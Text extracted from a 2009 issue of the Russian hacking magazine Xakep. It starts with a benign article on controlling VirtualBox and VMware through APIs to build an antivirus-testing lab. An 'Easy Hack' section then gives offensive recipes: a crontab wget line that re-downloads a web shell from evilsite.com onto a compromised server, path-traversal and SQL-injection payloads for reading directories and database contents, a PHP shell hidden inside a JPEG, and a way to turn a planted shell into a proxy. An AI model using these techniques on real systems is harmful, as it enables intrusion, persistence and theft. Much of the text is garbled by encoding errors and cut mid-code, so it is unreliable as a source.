PC_ZONEСТЕПАН «STEP» ИЛЬИН HTTP://TWITTER.COM/STEPAHÏÐÎÊÀ×ÈÂÀÅÌÂÈÐÒÓÀËÜÍÓÞÌÀØÈÍÓÐÀÇÁÈÐÀÅÌ Ñ API ÂÈÐÒÓÀËÊÈÈ ÄÎÁÀÂËßÅÌ ÅÉ ÂÅÁ-ÈÍÒÅÐÔÅÉÑÍÅ ÍÓÆÍÎ ÎÁÚßÑÍßÒÜ, ×ÅÌ ÏÎËÅÇÍÛ ÂÈÐÒÓÀËÜÍÛÅ ÌÀØÈÍÛ. ÍÎ ÈÕ ÏÎËÅÇÍÎÑÒÜ ÌÎÆÍÎÓÂÅËÈ×ÈÒÜ, ÐÀÇÎÁÐÀÂØÈÑÜ, ÊÀÊ ÓÏÐÀÂËßÒÜ ÈÌÈ ÓÄÀËÅÍÍÎ ÈËÈ ÂÎÂÑÅ ÀÂÒÎÌÀÒÈÇÈ-ÐÎÂÀÒÜ ÂÛÏÎËÍßÅÌÛÅ ÍÀ ÍÈÕ ÇÀÄÀ×È. ÏÐßÌÎ ÑÅÉ×ÀÑ ÌÛ ÏÎÄÍÈÌÅÌ ÊËÀÑÑÍÛÉ ÂÅÁ-ÈÍÒÅÐÔÅÉÑ ÄËß ÐÀÁÎÒÛ Ñ ÂÈÐÒÓÀËÊÀÌÈ È ÍÀÏÈØÅÌ ÑÈÑÒÅÌÓ, ÊÎÒÎÐÀß ÁÓÄÅÒ ÏÐÎÂÅ-ÐßÒÜ ÏÐÅÄËÎÆÅÍÍÛÉ ÔÀÉË ÑÐÀÇÓ ÍÅÑÊÎËÜÊÈÌÈ ÀÍÒÈÂÈÐÓÑÀÌÈ, ÓÑÒÀÍÎÂËÅÍÍÛÌÈ ÍÀÐÀÇÍÛÕ ÂÈÐÒÓÀËÜÍÛÕ ÌÀØÈÍÀÕ.Çапускать на винде сомнительные тулзы,скачанные с «хакерских» сайтов,кейгены и прочую ерунду, происхождениекоторой под большим вопросом,сродни добровольной установкев систему трояна. Такие файлы я предпочитаюзапускать исключительно под виртуальнымимашинами. Проблемы возникают, когда домашнегокомпьютера или хотя бы ноута нет подрукой.ÂÅÁ-ÊÎÍÑÎËÜ ÄËß ÓÏÐÀÂËÅÍÈßК счастью, для каждой виртуальной машиныVirtualBox (www.virtualbox.org), на которому меня вполне успешно уже год работаютнесколько виртуалок, позволяет назначитьпорт VRDP-сервера и работать с ними удаленночерез любой RPD-клиент: например,mstsc под виндой или rdesktop под линуксом.040В настройках роутера проброшены два порта:один — до виртуалки с виндой и другой —для openSUSE. При всей красоте такого подходаочень скоро вскрылись два серьезныхминуса. Во-первых, во многих сетях и хотспотахбеспощадно режется все, кроме несколькихстандартных портов, и подключиться поRPD никуда уже не удается. А во-вторых, длявозможности коннекта виртуальную машинуприходится держать включенной, потому какфункций удаленного управления или, скажем,включения по входящему подключениюнет. Я уже не говорю о том, чтобы изменитьпараметры виртуальной машины или дажесоздать новую.Для всего этого напрашивалось вполне очевидноерешение — организовать управлениечерез веб, ведь 80 порт открыт практическивезде. Изобретать велосипед не пришлось:Sun некогда позаботилась о пользователях,инициировав разработку VirtualBoxWeb Console (code.google.com/p/vboxweb) ипустив ее в свободное плавание OpenSource.В результате, сейчас мы можем получитькачественно написанный веб-демон, накотором будет крутиться AJAX-приложениедля виртуальной машины. Тут все просто —это полная копия графического интерфейсавиртуальной машины, только отображаемая вбраузере. Вот тебе наглядный пример, какиеинтерфейсы можно создавать, используявсем доступные AJAX-фреймворки jQuery иего расширение jQuert UI. Создание новойвиртуальной машины, запуск и ее остановка,сохранение состояния, изменения параметровгостевой ОС — все делается так, какесли бы ты запустил VirtualBox на своеймашине.XÀÊÅÐ 12 /132/ 09


УСТАНАВЛИВАЕМ VIRTUALBOXWEB CONSOLEВозможность такой оболочки реализованачерез API VirtualBox'а — систему вызовов,позволяющую с помощью различных языковманипулировать виртуальными машинами.Серверные компоненты веб-оболочкинаписаны на Python и используют привязкидля этого языка. Кстати говоря, VirtualBoxPython API в текущий момент входит в составVirtualBox по умолчанию: до этого моментаприходилось скачивать VirtualBox SDK и устанавливатьпривязки для Python'а вручную. Вкачестве основы для демона разработчикамибыл выбран CherryPy (www.cherrypy.org) каклегкий и мощный веб-сервер. В результатедемон (исходник — VBoxWebSrv.py) общаетсяс VirtualBox, используя API, и с клиентом —посредством HTTP. Все просто: сервер принимаетзапросы от браузера клиента, проверяетих и выполняет вызов соответствующейфункции VirtualBox API. Данные передаютсяс использованием стандарта JSON, которыйочень легко парсится в AJAX-окружении.Модуль на Python также регистрирует всесобытия внутри VirtualBox'а (например, изменениясостояния виртуальных машин) и передаетих для отображения в веб-интерфейсе.Посмотрим, как это выглядит на практике.ÓÑÒÀÍÀÂËÈÂÀÅÌ ÂÅÁ-ÊÎÍÑÎËÜПоскольку VirtualBox Web Console написанана Python'е, первое, что нужно сделать, —установить интерпретатор. Здесь и далее ябуду описывать процесс для винды, но длядругих ОС все выполняется аналогично.Если не ищешь проблем, рекомендую взятьPython версии 2.6 с python.org/download.Далее необходимо установить библиотекиЗАПРОС АВТОРИЗАЦИИ ВЕБ-ДЕМОНАрасширения — так называемые Python Win32Extensions, предварительно скачанныедля используемой версии интерпретаторас репозитория sourceforge.net/projects/pywin32/files. Чтобы дальше все было окей,нужно проверить, чтобы путь к интерпретаторуpython.exe был прописан в переменнойокружении PATH.Следующий шаг — позаботиться о привязках.Вообще говоря, опцию Python APIVirtualBox я выбирал во время установки,но... привязка почему-то не установилась(хотя файлы скопировались). Поэтомусразу объясню, как заинсталлить ее вручную.Для этого переходим в директорию сVirtualBox'ом (program files\sun\virtualbox),находим папку sdk\install и далее выполняем:python vboxapisetup.py installЕще один важный момент — под WindowsVista и W7 установку необходимо запускатьиз-под администратора. После этого можнобыло бы считать ее законченной и приступатьк запуску веб-демона:python VBoxWebSrv.pyОднако открыв в браузере http://localhost:8080 (официально поддерживаетсяInternet Explore и Firefox), ты упрешься втупик. Рабочая система запросит имя ипароль пользователя, которого мы ещебанально не создали. Не вопрос! Опять же,из-под аккаунта администратора отдаемдемону команду на создание нового пользователя:python VBoxWebSrv.py adduser myusermypassword.Теперь, залогинившись в систему, ты увидишьсписок виртуальных машин в левойпанели, точно такой же, как и в самом интерфейсеVirtualBox. Если потребуется изменитьпорт или интерфейс, на котором нужно приниматьподключения, достаточно указатьнужные параметры в конфиге VBoxWeb.conf:[global]server.socket_host = "0.0.0.0"server.socket_port = 8080ВЕБ-ОБОЛОЧКА — ЭТО ПОЛ-НАЯ КОПИЯ ОБЫЧНОГО GUI-ИНТЕРФЕЙСА, НО НА AJAXО том, что в VirtualBox вот-вот появится поддержкаплагина на Flash, позволяющегоуправлять виртуальными машинами черезбраузер, мне рассказал один из разработчиковеще во время весенней конференции SunTech Days. Правда, в тот момент Sun ничегоофициально не объявлял, а пощупать всеруками не вышло даже в самой последнейбете. Такая возможность появилась с выходомVirtualBox Web Console, которая создаваласьименно с целью предоставления доступак VRDP-серверу через Flash. Разработаннаятехнология называется Sun RPD Web Control.Последняя версия компонента закачиваетсяво время установки веб-консоли, поэтомудополнительно настраивать ничего не нужно.Просто переходишь во вкладку Console,нажимаешь кнопку Connect, и ты прямов окне браузера получаешь полноценноеRPD-подключение со всеми его возможностями.Только представь: из любой точкимира ты можешь открывать страничку вебинтерфейса,запускать виртуальную машинуи работать с ней, как ни в чем не бывало,прямо из браузера! Респект разработчикам.ÎÑÂÀÈÂÀÅÌ APIПример веб-консоли показывает, насколькомощным инструментом является системаAPI-вызовов, позволяющая управлять всемиаспектами конфигурации и запуска виртуальныхмашин. Освоив несложные привязки,можно вывести использование виртуальныхмашин на новый качественный уровень. Вотличие от VMware, ты не можешь включитьавтозапуск гостевых систем в момент запускагостевой машины. Но благодаря простенькомускрипту, запуск можно автоматизироватьи влиять на любые его параметры. Вообще,есть несколько вариантов решения задачи,но попробуем реализовать это с помощьюсценария, который будет отдавать командына старт виртуалок с помощью VirtualBoxAPI. Система встроенных вызовов такова,что использовать его можно из самых разныхязыков программирования: существуют привязки(т.е. специальные модули) для Java,Python и других языков. У нас уже установленовсе, что нужно для работы c Python, поэто-XÀÊÅÐ 12 /132/ 09 041


PC_ZONEУСТАНАВЛИВАЕМ WINDOWS XP ПОДVMWARE SERVERНЕБОЛЬШОЙ СКРИПТ ДЛЯ ЗАПУСКА ВИРТУАЛЬНОЙМАШИНЫ ЧЕРЕЗ APIпараметров передается сессия, идентификатор виртуальноймашины. Поскольку мы позволяем пользователюиспользовать как идентификатор, что неудобно, так иимя виртуальной машины, то дополнительно определяемфункцию machById. Задача функции — по имени виртуальноймашины определить ее идентификатор:INFOinfo• Комплект разработчикадля VirtualBoxвключает в себя примерына Java, Python,Perl.• В случае автоматизированногоиспользованияVirtualBox еелучше запускать каксервис. Рекомендуютебе правильныймануал по этому поводу:thelivedevil.com/virtualbox/how-to-runvirtualbox-as-servicein-windows.DVDdvdНа диске ты найдешьпоследние версиивиртуальных машин,а также разработанныенами скрипты,в том числе, исходникисистемы дляавтоматизированноготестированияантивирусов.му это хороший вариант для старта. Скажу более — прямос VirtuaBox'ом идет специальная обертка, в которойзавуалированы многие кроссплатформенные аспекты, апотому написанные с ее помощью скрипты будут работатьна разных платформах.Любой скрипт с использованием привязки начинаетсяс подключения нужного модуля и создания объектаvirtualBoxManager:import VirtualBoxManagervirtualBoxManager =VirtualBoxManager(None, None)Конструктор для создания объекта может приниматьпараметры, но мы их оставим по умолчанию: (None,None). После создания экземпляра объекта можновыполнять разные операции. Например, следующий кодзапустит виртуальную машину по ее имени или идентификатору(ID):vbox = virtualBoxManager.vboxmgr = virtualBoxManager.mgrprint "Version is",vbox.versionname = "xp eng"mach = machById(name)if mach is None:print "cannot find machine",nameelse:session = mgr.getSessionObject(vbox)progress = vbox.openRemoteSession(session, mach.id, "gui", "")progress.waitForCompletion(-1)session.close()Для запуска виртуальной машины используется функцияopenRemoteSession(), при этом в качестве первых двухdef machById(id):mach = Nonefor m in virtualBoxManager.getArray(vbox, 'machines'):if m.name == id or mach.id == id:mach = mbreakreturn machТретий параметр, передаваемый функции openRemote-Session(), может принимать два значения: gui и vrdp. Впервом случае открывается обычное окно виртуальноймашины, в котором ты можешь работать с гостевой ОС. Вовтором случае откроется консольное окно и предполагается,что работать с гостевой ОС ты сможешь, подключившиськ виртуалке по RPD-протоколу.Вот собственно и весь код. Оформив его в виде функции,можно повторно использовать код для включения нужногочисла виртуальных машин, что нам как раз и нужно. Вкачестве еще одного примера рекомендую изучить скриптдля безболезненного импорта/экспорта виртуальныхмашин (gui-at.cendaweb.cz/<strong>2009</strong>/09/VBoxUtil.py). Без негопроцесс переноса виртуальной машины с одного хоста надругой превращается в некислый геморрой. С позицииобучения он интересен тем, что использует самые разныевозможности API.ÏÐÎÄÎËÆÀÅÌ ÝÊÑÏÅÐÈÌÅÍÒÛВот тебе другая ситуация. Файл необходимо проверитьнесколькими антивирусами. Понятно, что на одной машинеедва ли уживутся даже два антивируса — чего уж говорить,если их будет, скажем, десять? Верный путь решенияпроблемы — установить каждый антивирус на отдельнуювиртуальную машину, но не запускать же каждую споследующим сканированием файла вручную? Можновзять и написать несложный сценарий, который черезAPI запустит виртуальную машину и передаст антивирусуфайл для проверки. Попробуем с этим разобраться.Я был уверен, что в API VirtualBox'а, помимо функцийдля управления виртуальными машинами, найдутся042XÀÊÅÐ 12 /132/ 09


КЛЮЧИ ДЛЯ ЗАПУСКА VMRUN.EXEвызовы для манипулирования гостевымисистемами. Например, в VMWare естьфункции RunProgramInGuest для запускаприложения в гостевой системе и функцииCopyFileFromGuestToHost для копированияфайлов между гостевыми и хостовой системами.Не найдя аналогов в документации,пришлось обратиться к разработчикамVirtualBox, которые подтвердили: «такиефункции пока только в планах» :(. Конечно,можно было бы обойтись и без них (например,добавив скрипт для проверки в автозагрузкусистемы, а файлы для проверкипередавать через систему Shared Folders),но отказываться от возможности манипулироватьгостевой системой не хотелось,поэтому было принято решение — в качестветехнологии использовать продукты VMware.К счастью, есть выбор: можно использоватьплатную WMware Workstation, с которой многиеуже знакомы, или же бесплатный VMwareServer. Оба дистрибутива весят под полгигабайта,но предоставляют в нашем случаеравные возможности. Печальная новостьсостоит в том, что управление VMware Server,начиная с версии 2.0, полностью осуществляетсячерез веб-интерфейс и, хотя работаетон неплохо, нативный GUI-интерфейсWorkstation использовать-таки удобнее. Ночто делать... зато всю мощь виртуализацииты получаешь бесплатно, и в своих примерахя буду использовать именно его.Вместе с тяжелым ядром и веб-серверомTomcat, на котором хостится админка VMwareServer, в систему устанавливается так называемаяVMware VIX — собственная системаAPI, позволяющая программировать виртуальныемашины и управлять ими, в томчисле, манипулировать гостевыми ОС вовремя выполнения. В качестве языка программированияочень хотелось использоватьPython, но, увы, не вышло. Официальныхпривязок для этого языка компания не выпускает,а найденные на просторах Сети самоделкиpyvix (sourceforge.net/projects/pyvix)и pyvmware (code.google.com/p/pyvmware)давно не обновлялись и заработали быПРОТОТИП СИСТЕМЫ ДЛЯ ПРОВЕРКИ ФАЙЛА НА ВИРУСЫс новыми версиями VMware лишь послесерьезной работы напильником, которойзаниматься совсем не охота. Описание проектаvixpy (code.google.com/p/vixpy), указывающее,что это единственный обновляющийсяпроект, выглядело многообещающе, но всепопытки найти файлы привязки, скачать ихиз репозитария svn или связаться с авторомне увенчались успехом.Впрочем, нашелся еще один проект — оберткаPython'а для утилиты vmrun.exe, такжевходящей в набор VMware VIX и позволяющейкак угодно манипулировать системойпрямо из командной строки. Сама обертка,как водится, безнадежно устарела, затооткрыла для меня vmrun.exe — совершенночумовой консольный инструмент, реализующийвсю мощь VMware API! Задача у наснесложная, а, значит, вполне должно хватитьее возможностей. Конечно, при таком положениивещей пришлось сразу попрощатьсяс объектной моделью и прочими красивостями,но способ построить прототип системыбыстрее еще нужно поискать. К тому же, длябольшей универсальности и качества кодалегко можно использовать возможностиPowerShell. Впрочем, прежде чем приступатьк программированию VMware, нужно занятьсяподготовкой самих виртуальных машин иустановленных антивирусов.ÒÅÑÒÎÂÀß ËÀÁÎÐÀÒÎÐÈßКак мы уже сказали, для каждого аверамы создаем по одной виртуальной машине.Пускай они будут работать на базе WindowsXP. Для большей универсальности предлагаюсразу давать виртуальным машинамимена в соответствии с тем антивирусом,который на нем установлен: ClamAV, Nod32,Symantec, Kaspersky. Автоматизироватьпроцесс сканирования через навороченныеграфические интерфейсы — лишнее изобретениевелосипеда, потому как у любоговендора есть решение, работающее черезкомандную строку. Возьмем для примерабесплатный антивирус ClamAV, с помощьюкоторого и построим одну из виртуальныхмашин для тестирования. Я использовалPortable-версию антивируса (portableapps.com/apps/utilities/clamwin_portable), но этонепринципиально.Чтобы скрипты для работы были более-менееуниверсальны, на каждой виртуальной машиненеплохо будет использовать одинаковуюсистему каталогов. Предлагаю создать папкудля нашей тестовой лаборатории C:\XLab спростой структурой:C:\XLab:QuarantineFiles — êàðàíòèí, êóäàáóäóò ñêà÷èâàòüñÿ ôàéëû äëÿ àíàëèçàOutputFiles — ïàïêà äëÿ ñîõðàíåíèÿîò÷åòîâ àíòèâèðóñà, êîòîðûå äàëååáóäóò ïåðåäàâàòüñÿ íà õîñòîâóþìàøèíóSoft — ïàïêà ñ íåîáõîäèìûìñîôòîì:Soft\Wget — óòèëèòà äëÿ çàêà÷êèôàéëîâSoft\ClamWinPortable — íàø àíòèâèðóñОбщая идея простая: специальный BATфайлсначала запускает консольную качалкуwget (порт никсовой утилиты), закачиваяуказанный файл в папку-карантин, содержимоекоторого затем проверяется антивирусом.Отчет авера сохраняется в папкуXÀÊÅÐ 12 /132/ 09 043


PC_ZONEОбрати внимание на переменную [standard], которая определяет стандартноехранилище виртуальных машин. Если указать полный путьдо .vmx-файла (скажем, j:\virtual machines\xp eng\xp eng.vmx), тулзавыдаст сообщение об ошибке. Чтобы упростить пример, здесь и далеея намерено укоротил строку параметров для запуска vmrun, заменивопции для авторизации переменной auth_param. Что она собойпредставляет? С помощью ключа -T определяется продукт, которыйты используешь — Workstation или Server — причем, в последнемслучае указывается URL админки, а также логин и пароль для входа вхостовую машину (и, соответственно, админку VMware Server). Вместоauth_param в строке для запуска должно стоять:УПРАВЛЯЕМ ГОСТЕВОЙ WINDOWS XP ПРЯМОВ БРАУЗЕРЕOutputFiles, откуда мы его забираем на хостовую машину.При всей простоте с настройкой антивирусов придется немногоповозиться. Даже если взять ClamAV, для которого изначально предполагаетсяиспользование из командной строки. При запуске консольнойверсии программы clamscan.exe упорно выдавалась ошибкаоб отсутствии антивирусных баз, хотя в GUI-версии антивируса всебыло окей. Долго не понимая, какой же ключ используется для обновленияантивирусных баз, я нашел специально предназначенную дляэтого тулзу, которая лежала рядом — freshclam.exe. Но и она не запускалась,ссылаясь на отсутствие конфига!DatabaseDirectory c:/XLab/Soft/ClamWinPortable/App/clamwin/binDatabaseMirror database.clamav.netЭти две строки, сохраненные в freshclam.conf, наконец, заставилибазы обновиться, а сам антивирус заработать. Чтобы указать путь длясканирования, пришлось создать текстовый файл toscan.txt с содержаниемпути до карантина «C:\XLab\QuarantineFiles\». В результатеможно было собрать готовый doWork.bat, принимающий в качествеединственного параметра URL файла для проверки и выполняющийсканирование:c:del /Q /F c:\XLab\QuarantineFiles\*.*del c:\XLab\OutputFiles\report.txtcd c:\XLab\Soft\ClamWinPortable\App\clamwin\bin\freshclam.execd c:\XLab\Soft\Wget\wget --directory-prefix=c:\XLab\QuarantineFiles %1cd c:\XLab\Soft\ClamWinPortable\App\clamwin\bin\clamscan.exe --file-list=toScan.txt --log=c:\XLab\OutputFiles\report.txtДабы избежать проблем с парсингом URL, в момент вызова bat-файлаего лучше взять в кавычки: doWork.bat "http://dvd.xakep.ru/test.exe".Убедившись, что все работает, приступаем к следующей задаче —интеграции виртуалки в наш прототип системы для анализа файлов.ÒÅÑÒÎÂÀß ËÀÁÎÐÀÒÎÐÈßЗапустить виртуальную машину через vmrun.exe — проще простого.Используется ключ start и указывается путь до .vmx-файла — этоXML-ка с описанием виртуальной машины, которую генерирует вмомент создания виртуалки сама VMware:vmrun auth_param start "[standard] xp eng/xp eng.vmx"044Äëÿ VMware Workstation: — T wsÄëÿ VMware Server: -T server -h https://localhost:8333/sdk -u xlablogin -p xlabpass mПосле того, как виртуальная машина запущена, запустим нужное намприложение. Название команды runProgramInGuest говорит само засебя. Составляем строку параметров, указывая логин и пароль дляпользователя внутри гостевой (!) системы, а также полный путь донашего doWork.bat-файла. Помимо этого, нужно передать в качествепараметра URL файла для проверки.vmrun auth_param -gu xlab -gp xlab runProgramInGuest"[standard] xp eng/xp eng.vmx" "c:\XLab\doWork.bat"%1%И тут нас постигает первый облом. После недолгого ковыряния вмануале оказывается, что для работы этой команды на виртуалкедолжны быть установлены VMware Tools, а в гостевой системе включенагостевая учетка. Один клик мыши — и в виртуалке уже смонтированвиртуальный диск с установщиком. Проверяем еще раз...работает!Сценарий doWork.bat создал отчет в папке c:\XLab\OutputFiles —осталось его оттуда забрать. Для обмена файлами между хостовойи виртуальными машинами есть специальные командыcopyFileFromHostToGuest и copyFileFromGuestToHost. Попробуем:vmrun auth_param -gu xlab -gp xlabcopyFileFromGuestToHost "[standard] xp eng/xp eng.vmx" "c:\XLab\OutputFiles\report.txt" "c:\XlabInput\report.txt"Результат проверки оказывается в папке c:\XlabInput на хостовоймашине. Проверка окончена — осталось охладить виртуалку, выключивее. Но делать этого мы не будем :). Ведь на запуск уйдет кучавремени, к тому же, в некоторых случаях придется заморачиватьсяс авторизацией нужного пользователя в гостевой системе. Поэтомувместо того чтобы виртуальную машину выключать, мы ее будем усыплять— с помощью команды suspend:vmrun auth_param suspend "[standard] xp eng/xp eng.vmx"Теперь добавляем в наш doWork.bat необходимые паузы (чтобы запускпрограммы не начинался до того, как загрузится система), и автоматизированныйинструмент для тестирования файла в виртуальноймашине готов. Не буду приводить здесь полную версию скриптов —все вместе ты найдешь на диске. Конечно, это лишь прототип полноценнойсистемы. Но ничего не стоит добавить еще несколько виртуалокдля других антивирусов и таким образом получать сводный отчетпо одному и тому же файлу. Тот же файл реально скачивать единождына хостовой машине и передавать на гостевые машины — можноделать все, что угодно. Главное, что ты знаешь, как манипулироватьвиртуальными машинами, а остальное уже дело техники.zXÀÊÅÐ 12 /132/ 09


ВЗЛОМJOKESTER FORUM.ANTICHAT.RUTWOSTER ANTIQWERTY@GMAIL.COM, TWOST.RUEasy HackХАКЕРСКИЕСЕКРЕТЫПРОСТЫХВЕЩЕЙ¹ 1ЗАДАЧА: ИЗБЕЖАТЬ ПОСТОЯННОГОУДАЛЕНИЯ WEB-ШЕЛЛА СО ВЗЛОМАН-НОГО СЕРВЕРАРЕШЕНИЕ:При возникновении этой проблемы можно немного усложнить жизнь бдящемуадмину, особенно если он не до конца догоняет принципы *nix-архитектуры.Естественно, при этом мы будем заливать шелл не вручную, а автоматически.Как? Очень просто — с помощью набора cron и команды crontab. Какгласит моя давняя подруга, wikipedia.org:cron — äåìîí-ïëàíèðîâùèê çàäà÷ â UNIX-ïîäîáíûõ îïåðàöèîííûõñèñòåìàõ, èñïîëüçóþùèéñÿ äëÿ ïåðèîäè÷åñêîãî âûïîëíåíèÿçàäàíèé â çàäàííîå âðåìÿ.1. Для начала разберем структуру команды crontab.Таблица crontab состоит из 6 колонок, разделяемых пробелами или табуляторами.Первые пять колонок задают время выполнения (Минута, Час, День, Месяц,День недели), в них может находиться число, список чисел, разделенныхзапятыми, диапазон чисел, разделенных тире, или символ ‘*’.Все остальные символы в строке интерпретируются как выполняемаякоманда с ее параметрами.2. Вероятно, на сервере нет поддержки псевдотерминала, поэтому создадимвременный файл /tmp/cmd со следующим содержимым:SHELL=/bin/bash1 0 * * * wget http://evilsite.com/shell.txt -O /home/user/www/shell.php3. Запускаем команду crontab /tmp/cmd.4. Радуемся, ведь теперь в директории /var/spool/cron (может меняться взависимости от системы) будет создан файл с именем пользователя, которыйбудет каждый день, в 00 часов 01 минуту запускать команду wget, дляскачивания нашего шелла.¹ 2ЗАДАЧА: ПРОСМОТРЕТЬ В УДОБ-НОМ ВИДЕ СОДЕРЖИМОЕ ПАПКИ НАFREEBSD ЧЕРЕЗ ИНКЛУД ИЛИ SQLРЕШЕНИЕ:Ты, наверное, уже знаешь, что FreeBSD позволяет читать (при наличии прав,конечно) не только файлы, но и содержимое самих директорий. Допустим, естьлокальный инклуд или читалка файлов. Если в параметре указать не файл, адиректорию, то будет выведен ее листинг.1. Предположим, у нас есть локальный инклуд. С его помощью мы можемпрочитать содержимое любого каталога. Например:Листинг директории в браузереsite.com/file.php?file=../../../../../../etc/2. И даже если мы имеем банальную SQL-Injection, багофича FreeBSD придетк нам на помощь. Единственный нюанс: в СУБД должны быть права на«file_priv».site.com/file.php?file=-1+union+select+1,LOAD_FILE('/etc/'),3/*3. Почему это происходит, задумываться не будем, ибо это тема для отдельнойстатьи. Для нас важно, что такая возможность существует. Плохолишь то, что при выводе данных в браузер информация выглядит нечитабельно.К счастью для нас, эту проблему уже решил Scipio, написав скрипт,который отлично справляется с задачей, выводит файлы, папки и символическиессылки в удобном и приятном глазу виде:...for ($i=0;$i'1') andЛистинг директории через скрипт($nexthex


}$i+=4;}$i+=4;if (($curhex=='080')and ($nexthex>'1')and ($nexthex 10ñèñ.ñ÷èñ, 10 => 2 ñèñ.ñ÷èñ, 10 => 8 ñèñ.ñ÷èñ, 8 => 10 ñèñ.ñ÷èñ, Çåðêàëî, Soundex(encode),ASCII êîä, Hex(encode),URL(encode/decode), MD5 hash(encode), Crc32(encode),ROT13(encode/decode), Char(encode), Decimal encodequest.fsb-my.name/code.php íó è êóõîííûé êîìáàéí îòBlackSun’àÑïèñîê àëãîðèòìîâ íå ïèøó, îí áîëåå ÷åì âíóøèòåëüíûé.Çàãëÿíè ñàì, äóìàþ, íàéäåøü âñå, ÷òî íóæíî.Программа «Штирлиц»XÀÊÅÐ 12 /132/ 09047


ВЗЛОМ¹ 4ЗАДАЧА: СОХРАНИТЬ ШЕЛЛ ДЛЯ УДА-ЛЕННОГО ИНКЛУДАРЕШЕНИЕ:Я не буду описывать способы всем давно известные (можно положить на свойсервер, на народ, на залитый уже шелл), но есть способ, о котором мне ещеслышать не приходилось, — он позволяет хранить шелл достаточно долго ипри этом не палить свои сервера и шеллы. Заливать шелл будем на файловыйхостинг, который дает прямые линки на хранимые файлы. Предложил использоватьэтот способ geezer_code.1. Создаем любое изображение.$ echo "" > simple_shell.php$ cat 1.jpeg simple_shell.php >> poisoned.jpegКартинка готова к загрузке.2. Загружаем ее без ресайзинга и любых других преобразований (этоважно), например, на imageshack.us.3. Теперь можно инклудить ее по прямой ссылке с файлообменника.¹ 5ЗАДАЧА: НАЙТИ САЙТ, КОТОРОМУПРИНАДЛЕЖИТ СЛУЧАЙНО ОБНАРУ-ЖЕННАЯ ТАБЛИЦА С ПАРОЛЯМИ ПРИИСПОЛЬЗОВАНИИ SQL-ИНЪЕКЦИИРЕШЕНИЕ:1. Сперва попытаемся извлечь контент сайта, сохраненный в базе, и попробуемоднозначно идентифицировать его через поисковики (яндекс илигугл). Контентом может являться что угодно — новость, пост на форуме,запись в блоге и т.п.Для этого мы просто ищем таблицы, схожие по смыслу, например, messages,posts, news, articles, comments и извлекаем из них контент. К примеру, делаемзапросsite.com/script.php?id=-1+union+select+1,message,3+from+messages--+и ищем ответ в гугле:http://www.google.com/search?q="êîíòåíò èç áàçû"2. Если сайт не проиндексирован гуглом, ищем ссылки в самой базе. Дляэтого используем следующий like-запрос.http://site.com/script.php?id=-1+union+select+1,group_concat(concat_ws(0x3A,table_schema,table_name,column_name)),3+from+information_schema.columns+where+column_name+like+'%http://%'--+èëè http://site.com/script.php?id=-1-+union+select+1,group_concat(concat_ws(0x3A,table_schema,table_name,column_name)),3+from+information_schema.columns+where+column_name+like+'%.php%'--+и из полученных результатов выбираем локальные ссылки (наверняка, онибудут).¹ 6ЗАДАЧА: УБРАТЬ ПОВТОРЫСТРОК ИЗ ФАЙЛАРЕШЕНИЕ:Часто возникает необходимость убрать повторы из текстовика. Присборке своего словаря, при парсинге логов, баз. В общем, думаю, тычастенько сталкивался с такого рода проблемой. Да, существует кучапрограмм для работы со словарями, толпы написанных парсеров и т.д.,но мы пойдем другим путем.1. Решение через PHP.Создаем php-парсер без наворотов. Комментарии я привел в коде,думаю, там все понятно. Сортировка по алфавиту и удаление повторов,это то, что в 90% случаев требуется сделать.Файл, который нужно отпарсить, может быть и удаленным, и задаватьсяследующим образом:$file= file (‘http://127.0.0.1/1.txt’);Главное, чтобы это позволили настройки PHP-интерпретатора.2. Консольное решение.Владельцам линухов заморачиваться со скриптами вообще не требуется.Все давно реализовано в консоли:cat 1.txt | sort | uniq > 2.txtТо же самое, разумеется, можно проделать в шелле, когда отпарситьфайл нужно «на месте».$out=fopen(‘2.txt’,’w’); // ôàéë íà âûõîäåfwrite($out,$end);fclose($out);?>048 XÀÊÅÐ 12 /132/ 09


ЗАДАЧА: СДЕЛАТЬ ПОЛНОЦЕННЫЙПРОКСИ-СЕРВЕР ИЗ ЗАЛИТОГО ШЕЛЛАНА УЯЗВИМОЙ МАШИНЕ¹ 7áèíàðíèêè ðàçìåðîì îò 9 äî 16 ÊáÏîääåðæèâàåòñÿ àóòåíòèôèêàöèÿ ïî ëîãèíó:ïàðîëþÊëèåíò ìîæåò ïåðåäàâàòü àäðåñ ñåðâåðà êàê â âèäå D/N, òàêè â âèäå IPv4 (IPv6 íå ïîääåðæèâàåòñÿ)РЕШЕНИЕ:Ïîääåðæèâàåòñÿ òîëüêî ìåòîä connect. Ýòî îáúÿñíÿåòñÿСуществует несколько популярных решений подходящих для такихòåì, ÷òî ÿ ïðîñòî íå çíàþ ñîôò, èñïîëüçóþùèé äðóãèå ìåòîäûïðîñòîêîëà Socks5.целей.1. Для прокси с протоколом http я советую использовать pproxy, потомучто проект обладает рядом весомых характеристик.íåîáõîäèìîñòè 500 ñòðîê êîäà ìîæíî ñêîïèïàñòèòü ÷åðåçÈñõîäíèê çàíèìàåò 1 ôàéë ðàçìåðîì ìåíåå 10 Êá — ïðèstdin.Ñîñòîèò èç äâóõ ÷àñòåéÍà óäàëåííûé âåá-ñåðâåð çàëèâàåòñÿ ïåðâàÿ ÷àñòü ïðîêñè, Берем проксик по адресу forum.antichat.ru/showpost.íàïèñàííàÿ íà PHP — ñêðèïò pproxy.phpphp?p=176928&postcount=1 или с DVD.Íà ëîêàëõîñòå çàïóñêàåòñÿ âòîðàÿ ÷àñòü ïðîêñè, ðåàëèçîâàííàÿíà Perl (ñêðèïò plocal.pl),Легендарный Satanic Socks Serverêîòîðàÿ ïðîñëóøèâàåò ïîðò êàêHTTP-ïðîêñè. Íà ýòîò ëîêàëüíûéhttp-ïðîêñè íàñòðàèâàåòñÿ, íàïðèìåð,áðàóçåðСтраница релиза — forum.antichat.ru/showpost.php?p=959778&postcount=1 (либобери с нашего DVD).2. Для прокси с протоколом Socks5 используемлегендарный Satanic Socks Server,потому как онÍàïèñàí íà ÑèÊîìïèëèðóåòñÿ â Unix è Windowsñèñòåìàõ — ÿ òåñòèðîâàë ïðîãðàììóâ ðàçëè÷íûõ äèñòðèáóòèâàõ Linux èFreeBSD, à òàêæå â Windows XP (íåòïðè÷èí, ïî êîòîðûì ïðîãðàììà íå äîëæíàñîáèðàòüñÿ â äðóãèõ îïåðàöèîíêàõ)Íå òðåáóåò root-ïðèâåëåãèéÐàçìåð áèíàðíèêà â ôîðìàòå PE: 2,5Êá.  ôîðìàòå ELF ìîæåò ìåíÿòüñÿâ çàâèñèìîñòè îò ÎÑ, ÿ ïîëó÷àë¹ 8ЗАДАЧА: ВЫДЕЛИТЬ НАИБОЛЕЕ ПО-ЛЕЗНЫЕ 